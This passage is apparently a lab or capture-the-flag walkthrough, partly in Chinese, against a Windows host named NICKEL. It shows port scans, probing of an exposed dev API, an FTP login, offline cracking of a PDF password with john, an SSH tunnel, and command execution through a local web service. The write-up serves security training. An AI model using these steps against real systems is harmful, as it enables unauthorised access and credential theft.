[*] ssh found on tcp/22. OpenSSH for_Windows_8.1 (protocol 2.0)
[*] http found on tcp/80. [*] tcpwrapped found on tcp/80. dev-api 一扫就500
[*] msrpc found on tcp/135.
[*] netbios-ssn found on tcp/139.
[*] microsoft-ds found on tcp/445.
[*] ms-wbt-server found on tcp/3389.
[*] http found on tcp/8089. Microsoft-HTTPAPI/2.0
[*] unknown found on tcp/5040.
[*] http found on tcp/33333. /list-active-nodes /list-current-deployments /list-running-proc
[*] msrpc found on tcp/49664. [*] msrpc found on tcp/49665. [*] msrpc found on tcp/49666 [*] msrpc found on tcp/49667. [*] msrpc found on tcp/49668. [*] msrpc found on tcp/49669
那就直接访问上面三个地址,都提示不支持GET请求,改成post返回错误:HTTP Error 411. The request must be chunked or have a content length
1 2 3 4 5 6 7
curl-XPOST http://192.168.111.99:33333/list-running-procs <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Length Required</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD> <BODY><h2>Length Required</h2> <hr><p>HTTP Error 411. The request must be chunked or have a content length.</p> </BODY></HTML>
ftp -a-A ariah@192.168.111.99 Connected to 192.168.111.99. 220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220 Please visit https://filezilla-project.org/ 331 Password required for ariah Password: 230 Logged on Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 Port command successful 150 Opening data channel for directory listing of "/" -r--r--r--1 ftp ftp 46235 Sep 012020 Infrastructure.pdf 226 Successfully transferred "/"
pdf2john Infrastructure.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
kali@kali:~$ sudo ssh -L80:192.168.120.209:80 ariah@192.168.120.209 ... Microsoft Windows [Version10.0.18362.1016] (c) 2019 Microsoft Corporation. All rights reserved.
ariah@NICKEL C:\Users\ariah>
1 2 3 4 5 6 7
kali@kali:~$ curl http://localhost/?whoami
<!doctype html><html><body>dev-api started at 2020-09-18T11:14:22